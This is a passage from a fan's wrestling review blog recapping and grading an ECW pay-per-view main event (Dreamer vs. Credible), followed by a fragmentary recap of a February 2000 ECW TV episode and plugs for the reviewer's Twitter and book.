The locker room emptied for the most part and the XPW guys got taken away. Francine would later say she was never grabbed or touched, which makes me wonder what started this. There was also later an alleged fight in the parking lot between ECW wrestlers and XPW crew (not wrestlers) where the more famous guy won decisively.

In a match based on violence, we of course start with technical wrestling. There’s a full nelson in an ECW match. Joey: “I’ll be danged this has broken down into a wrestling match!” We head to the floor and it’s all Tommy. It’s one of those brawls where they’re not really doing anything other that just walking around and ramming each other into things. Dreamer carries him up to a balcony and just kind of leaves him there.

He gets a ladder and climbs up so that he’s on the balcony Credible is on. And there goes the ladder. This is one of the least interesting brawls I’ve ever seen. They’re barely doing anything and the barbed wire hasn’t even been mentioned yet. With just seven minutes left in this tape that isn’t a good sign. Oh and Dreamer is fine after his fall from about 12 feet. Joey goes off on Cyrus which goes nowhere.

They lay a ladder on the bottom rope and Dreamer “hits” a “slingshot” that nails Justin square in the arm. Dreamer goes up the ladder and Francine low blows him. He falls and literally crushes her. He landed right on her and here are Jazz and George. George, of course, turns on Dreamer and Jazz to join Credible. Jazz proceeds to kill George, making me wonder what the point of her was in the first place.

Jazz rips Francine’s top off, even though she’s well covered in tape. Tombstone to Jazz and we’re back to one on one. Tommyhawk (Reverse Razor’s Edge into a Diamond Cutter. Sweet move) Dreamer gets the barbed wire with about 3 minutes left in the show. Francine is back. Credible gets crotched on the wire. Good thing you can see that his crotch is about 4 inches away from it.

That’s Incredible (Tombstone) on the wire gets two. DDT does the same for Dreamer. End this already. A regular tombstone ends it to HUGE heat. Yeah this guy would be world champion for about 6 months to less heat than Siberia. The next PPV is in October. This is July. That should tell you something.

Rating: F. This was AWFUL. There’s practically no blood, a total of two barbed wire spots, and an anti-climactic ending. This was just freaking terrible all around and boring on top of that. Credible was the worst choice for a champion they made, and all during his reign RVD was doing nothing of note. And you wonder why Heyman went out of business.

Overall Rating: D+. I’m going to give this one the benefit of the doubt. The main event is freaking terrible and the match before that is only slightly better, but the first hour is quite decent. It’s not a particularly good show, but on the ECW scale it’s one of their better PPVs somehow. The booking really was going badly here and that comes down to three letters: RVD.

 

He’s been by far and away the most popular guy for at least a year and a half now and he’s fighting Scotty Riggs. Anyway, things could change a good bit next time, so hopefully it’s for the better. This isn’t a horrible show, but there’s nothing worth going out of your way to see.

 

Remember to follow me on Twitter @kbreviews and pick up my book n the History of Starrcade from Amazon for just $4 at:

 

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Date: February 11, 2000
Location: Tallahassee Civic Center, Tallahassee, Florida
Attendance: 2,000
Commentators: Joey Styles, Joel Gertner

Opening sequence opens things up.

TV Title: Little Spike Dudley vs. Dupps

Living Dangerously ad.

Video game ad. It was WWF Attitude with blood.

New Jack and Balls Mahoney rant about Da Baldies.

Tommy Dreamer vs. Mikey Whipwreck

The Minister breaks up the pin but gets a low blow and Bronco Buster from Francine. Raven comes out and is blinded by powder in his eyes. He DDTs Francine by mistake and Tommy snaps, pounding on Raven in the corner. Dreamer lays out Mikey with a Spicolli Driver (Death Valley Driver) and a DDT for the pin.

Post break Dreamer beats up Blue Meanie for making a joke about Francine. Another guy tells him Raven had powder in his eyes and gets beaten up as well for speaking when not spoken to.

Justin Credible vs. Raven

Danny Doring and Roadkill make the save.

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at: